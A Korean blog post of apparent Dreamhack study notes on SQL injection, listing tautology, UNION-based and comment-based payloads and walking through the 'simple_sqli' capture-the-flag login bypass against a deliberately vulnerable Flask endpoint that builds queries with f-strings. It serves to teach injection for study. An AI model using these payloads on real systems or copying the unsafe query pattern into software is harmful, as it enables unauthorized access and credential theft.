1.SQL Injection
웹 애플리케이션이 사용자 입력값을 SQL 쿼리에 통합할 때 발생하는 보안 취약점
1-1.기본적인 공격 쿼리
조건식이 항상 TRUE로 평가되므로, 모든 데이터를 반환하게됨
#입력
' OR '1' = '1
query = f"SELECT * FROM users WHERE username = '{user_input}'"
# 최종되는 쿼리
# 사용자가 입력한 값이 비어있거나, '1'과 '1'이 같으면 항상 TRUE가 되므로 모든 데이터가 반환됨.
query = f"SELECT * FROM users WHERE username = '' OR '1' = '1'"
1-2.UNION 사용
사용자의 입력값을 통해 전체 사용자 이름과 비밀번호가 반환됨
#입력
' UNION SELECT username, password FROM users --
query = f"SELECT * FROM users WHERE username = '{user_input}'"
# 최종되는 쿼리
# UNION을 사용하여 추가적으로 사용자 이름과 비밀번호 정보를 가져옴.
query = f"SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users -- '"
1-3. 주석공격
뒤 내용을 주석처리해서 나머지 쿼리를 무시시킨다.
#입력
' --
query = f"SELECT * FROM users WHERE username = '{user_input}'"
#모든 사용자 조회
query = f"SELECT * FROM users WHERE username = '' --'"
2.simple_sqli 문제
어드민 계정으로 로그인 해야하고 Flask 로그인 엔드포인트는 다음과같다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
해당 부분을 이용하여 SQL InJection을 해야한다.
select * from users where userid="{userid}" and userpassword="{userpassword}"
이렇게 하면 비밀번호를 무시한채 admin으로 로그인할수있다.
select * from users where userid="admin" --" and userpassword="아무거나"
'Computer Science > Security' 카테고리의 다른 글
[드림핵] NoSQL Injection (0) | 2025.01.21 |
---|---|
[드림핵] Cross Site Request Forgery (CSRF) 1,2 (1) | 2025.01.20 |
[드림핵] xss-2 (0) | 2025.01.20 |